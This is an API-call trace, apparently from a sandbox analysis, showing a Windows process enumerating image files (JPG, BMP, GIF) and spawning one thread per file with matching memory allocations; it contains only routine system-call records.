	[0268.349] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1
	[0268.350] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2460
	[0268.352] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.353] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1
	[0268.353] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2464
	[0268.355] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.356] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1
	[0268.356] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2468
	[0268.467] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.468] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1
	[0268.468] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x246c
	[0268.470] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.471] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1
	[0268.471] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2470
	[0268.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.474] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1
	[0268.474] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2474
	[0268.476] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.476] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1
	[0268.476] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2478
	[0268.478] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.479] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67af4100, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67af4100, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1
	[0268.479] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x247c
	[0268.481] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.482] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55cd9e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55cd9e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1
	[0268.482] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2480
	[0268.484] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.485] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c443600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c443600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1
	[0268.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2484
	[0268.487] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.488] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e0cfa00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e0cfa00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1
	[0268.488] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2488
	[0268.490] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.490] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d92b00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30d92b00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1
	[0268.490] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248c
	[0268.492] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.493] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2880f000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2880f000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1
	[0268.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2490
	[0268.495] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.496] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1
	[0268.496] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2494
	[0268.498] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.499] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156e2000, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156e2000, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1
	[0268.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2498
	[0268.671] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.672] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf783f00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf783f00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1
	[0268.672] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x249c
	[0268.674] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.675] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78519700, ftCreationTime.dwHighDateTime=0x1bf111d, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78519700, ftLastWriteTime.dwHighDateTime=0x1bf111d, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1
	[0268.675] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a0
	[0268.677] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.677] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1
	[0268.677] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a4
	[0268.679] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.680] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1
	[0268.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24a8
	[0268.682] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.683] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1
	[0268.683] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24ac
	[0268.685] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.686] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1
	[0268.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b0
	[0268.688] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.688] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1
	[0268.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6e430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b4
	[0268.691] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.691] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1
	[0268.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc71b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24b8
	[0268.693] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.694] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1
	[0268.694] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc751f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24bc
	[0268.696] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.697] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1
	[0268.697] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc788d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c0
	[0268.700] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.700] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1
	[0268.701] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0268.701] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc7bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c4
	[0268.703] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0268.703] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a6dc00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1a6dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x72, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1
	[0268.704] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
